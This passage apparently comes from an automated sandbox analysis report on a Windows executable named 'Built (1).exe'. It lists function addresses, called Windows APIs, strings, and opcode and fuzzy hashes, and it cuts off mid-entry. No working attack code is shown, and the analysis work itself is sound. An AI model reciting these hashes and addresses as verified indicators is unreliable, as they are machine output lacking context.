                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Value
                                              • String ID:
                                              • API String ID: 3702945584-0
                                              • Opcode ID: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
                                              • Instruction ID: f9ed5199919a5db09564468bfa346675b9860618aa7c72fb69861f6a295e7546
                                              • Opcode Fuzzy Hash: 1cbfbab29873deef46e90a648d7a1f8795c58f1c293a930122e54ca216580eab
                                              • Instruction Fuzzy Hash: A1110910F0D24741FB68673595516BA13625F853B4F280B34D83ECB2E2FE2EB80166C0
                                              Function 00007FF6FFD269F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID: verbose
                                              • API String ID: 3215553584-579935070
                                              • Opcode ID: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
                                              • Instruction ID: 779f0a965de29c9fd77e1394a71356eea7a0cc12b89e4d35b68981fae0b87f29
                                              • Opcode Fuzzy Hash: 0e1375701995164762774767e6acc307974a31e0cd050619d1c211530d762839
                                              • Instruction Fuzzy Hash: 4B91CE22A09B4681FB61AE29D45037D3BA1EB40B94F448336DA7D873D5FE3EE84593C0
                                              Function 00007FF6FFD30AA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                              • API String ID: 3215553584-1196891531
                                              • Opcode ID: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
                                              • Instruction ID: bd2290929ef5f3fe611201c8885214b536cb22798846e9a96759c76d0525b8a8
                                              • Opcode Fuzzy Hash: de4b53a7bd72cc9a75fc72bdb9aa8b7520de62a16ef0f4afa2e89dc7587c8b22
                                              • Instruction Fuzzy Hash: C5819F32E0860685FB658E29955A27C37A0AF11B4CF598331CB3AD7BD5EF3DE8019681
                                              Function 00007FF6FFD1CF80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                              • String ID: csm
                                              • API String ID: 2395640692-1018135373
                                              • Opcode ID: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
                                              • Instruction ID: 190a575df098675d5b4c097fee7716e67dd369f8f6d55d7deeca074035cb5aa1
                                              • Opcode Fuzzy Hash: 81dbbe3a269521ccb6618414f5b7d9ba6a400a48ab9a514a04d3b64c82b69e43
                                              • Instruction Fuzzy Hash: 98516032B196028AFB14DB15E44467973A1EB44B98F518335EA7A877C8FF7DE881C740
                                              Function 00007FF6FFD1F800 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CallEncodePointerTranslator
                                              • String ID: MOC$RCC
                                              • API String ID: 3544855599-2084237596
                                              • Opcode ID: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
                                              • Instruction ID: aa38a96da41c6823a837663f538cf0d891105ace03e050b62858c211f22f0fb4
                                              • Opcode Fuzzy Hash: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
                                              • Instruction Fuzzy Hash: 20619332908BC586E7709B15E4407AEB7A0FB85794F044325EBAD83B99EF7CE191CB40
                                              Function 00007FF6FFD1FBB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                              • String ID: csm$csm
                                              • API String ID: 3896166516-3733052814
                                              • Opcode ID: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
                                              • Instruction ID: 7233031ed33443dd34330834bd2134037b90830c5422d67ded16bd3200400f9a
                                              • Opcode Fuzzy Hash: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
                                              • Instruction Fuzzy Hash: B7518E32A0828686FB648B25A48427C77A1FB54B84F184336DEBD87BD5EF3CE451C781
                                              Function 00007FF6FFD12870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message$ByteCharMultiWide
                                              • String ID: %s%s: %s$Fatal error detected
                                              • API String ID: 1878133881-2410924014
                                              • Opcode ID: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
                                              • Instruction ID: 020e653fb9c9b65531b9c35cc48961bb1c1bafd539a8d50050bbc21a7b30c729
                                              • Opcode Fuzzy Hash: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
                                              • Instruction Fuzzy Hash: 2E31257262868591E720DB14E4516DA73A4FF847C4F804336E7AD97AD9EF3CD605CB80
                                              Function 00007FF6FFD14340 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67fileCOMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 00007FF6FFD18DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18E1A
                                              • CreateFileW.KERNEL32(00000000,?,?,00007FF6FFD13FB9,?,00007FF6FFD139CA), ref: 00007FF6FFD143A8
                                              • GetFinalPathNameByHandleW.KERNEL32(?,?,00007FF6FFD13FB9,?,00007FF6FFD139CA), ref: 00007FF6FFD143C8
                                              • CloseHandle.KERNEL32(?,?,00007FF6FFD13FB9,?,00007FF6FFD139CA), ref: 00007FF6FFD143D3
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Handle$ByteCharCloseCreateFileFinalMultiNamePathWide
                                              • String ID: \\?\
                                              • API String ID: 2226452419-4282027825
                                              • Opcode ID: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
                                              • Instruction ID: 277d71f9b110b1a7ed1ec3d3a135626a5efd267ddac3239cef4594ec7dfb9796
                                              • Opcode Fuzzy Hash: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
                                              • Instruction Fuzzy Hash: BB219C62B0869145FB20DB21F8947AA7351AB897D4F440331DB7D83AE8EF7DD558CB80
                                              Function 00007FF6FFD2D350 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: FileWrite$ConsoleErrorLastOutput
                                              • String ID:
                                              • API String ID: 2718003287-0
                                              • Opcode ID: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
                                              • Instruction ID: b6c85bd66b2b92deb5455eb025a188e0c82369004cf536d5c2900ac5e4d951a9
                                              • Opcode Fuzzy Hash: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
                                              • Instruction Fuzzy Hash: D2D1CD72B08A8189E711CF69D4802EC37A5FB45798B144336DE7E97BD9EE39E406C390
                                              Function 00007FF6FFD26044 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                              • String ID:
                                              • API String ID: 2780335769-0
                                              • Opcode ID: 96091dbd27bcc0a8deeeb26956a1675b21701702191f3790d8b7488761ccdccb
                                              • Instruction ID: 2d23597008c0b33a8f8bce5eeff3b34b0d5e2d3fe3a404769417745838466720
                                              • Opcode Fuzzy Hash: 96091dbd27bcc0a8deeeb26956a1675b21701702191f3790d8b7488761ccdccb
                                              • Instruction Fuzzy Hash: DE516D23A087418AFB11DF60D8503BD33B1AB48B98F108735DE29876C9EF39E58483D1
                                              Function 00007FF6FFD12310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: LongWindow$DialogInvalidateRect
                                              • String ID:
                                              • API String ID: 1956198572-0
                                              • Opcode ID: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
                                              • Instruction ID: ce6d852f0604a32e5a5acacd51ed66b6235d216cd0d4b807306dfa2b0bd7ce03
                                              • Opcode Fuzzy Hash: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
                                              • Instruction Fuzzy Hash: 84110C21F0C14242F754A769F5452B92391EF84BC1F488374DA7987BDAED7DD4C14240
                                              Function 00007FF6FFD36A6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _get_daylight$_invalid_parameter_noinfo
                                              • String ID: ?
                                              • API String ID: 1286766494-1684325040
                                              • Opcode ID: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
                                              • Instruction ID: 628abc54097b0769509e69315285a933e7b18d170046f1d81bac24831e0907d1
                                              • Opcode Fuzzy Hash: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
                                              • Instruction Fuzzy Hash: 93411912A0878246FB649B25E406B7A6760EB80BA4F144335EF7C87AD9FF3DD441CB80
                                              Function 00007FF6FFD29DC8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                              Download Yara Rule
                                              APIs
                                              • _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FFD29DFA
                                                • Part of subcall function 00007FF6FFD2B700: RtlDeleteBoundaryDescriptor.NTDLL(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B716
                                                • Part of subcall function 00007FF6FFD2B700: GetLastError.KERNEL32(?,?,?,00007FF6FFD33B72,?,?,?,00007FF6FFD33BAF,?,?,00000000,00007FF6FFD34075,?,?,00000000,00007FF6FFD33FA7), ref: 00007FF6FFD2B720
                                              • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6FFD1C335), ref: 00007FF6FFD29E18
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: BoundaryDeleteDescriptorErrorFileLastModuleName_invalid_parameter_noinfo
                                              • String ID: C:\Users\user\Desktop\Built (1).exe
                                              • API String ID: 3976345311-3400287639
                                              • Opcode ID: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
                                              • Instruction ID: d3ed99e3cb6eb3deb91dfc3bae9ef5756e5e2e48efc7d8e40024531c55457bba
                                              • Opcode Fuzzy Hash: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
                                              • Instruction Fuzzy Hash: 6841AE32A09B4685EB14DF29E4800BC3794EB44BD8B544336EA7E87BD5EE3EE54183C0
                                              Function 00007FF6FFD2D9E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorFileLastWrite
                                              • String ID: U
                                              • API String ID: 442123175-4171548499
                                              • Opcode ID: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
                                              • Instruction ID: 57b9716ba7881758a22680d3f87c3de122aebac8cd6168631d07d22ecf8c56cc
                                              • Opcode Fuzzy Hash: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
                                              • Instruction Fuzzy Hash: B541BF22B18A8185EB208F25E8457AA77A0FB987C4F444231EE6DC7798FF3DD441CB90
                                              Function 00007FF6FFD30108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentDirectory
                                              • String ID: :
                                              • API String ID: 1611563598-336475711
                                              • Opcode ID: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
                                              • Instruction ID: 1a16894c617e026808ecfeab316012fc23c9f07c03adcd8b214946d43597a166
                                              • Opcode Fuzzy Hash: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
                                              • Instruction Fuzzy Hash: 42219E23B0868181EB209B15D44926E73A2FB84B88F858335DBBDC37C5EF7CE94586C1
                                              Function 00007FF6FFD12C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message$ByteCharMultiWide
                                              • String ID: Error detected
                                              • API String ID: 1878133881-3513342764
                                              • Opcode ID: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
                                              • Instruction ID: f0dc12ed71dd1c839892bdc4e5464adb676c7033e529aa7f558d85d19df92afc
                                              • Opcode Fuzzy Hash: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
                                              • Instruction Fuzzy Hash: 0121247262868591E720DB10F4516EA7364FF947C4F805336E7AD87AA9EF3CD205CB80
                                              Function 00007FF6FFD12B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message$ByteCharMultiWide
                                              • String ID: Fatal error detected
                                              • API String ID: 1878133881-4025702859
                                              • Opcode ID: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
                                              • Instruction ID: 30fe3b4440f01a2da89cc5e66992e298be1534f34433d69b4f789dcac836e0d3
                                              • Opcode Fuzzy Hash: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
                                              • Instruction Fuzzy Hash: FF21447262868591F720DB14E4516EA7364FF947C4F805335E7AD87AA9EF3CD205CB80
                                              Function 00007FF6FFD20678 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFileHeaderRaise
                                              • String ID: csm
                                              • API String ID: 2573137834-1018135373
                                              • Opcode ID: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
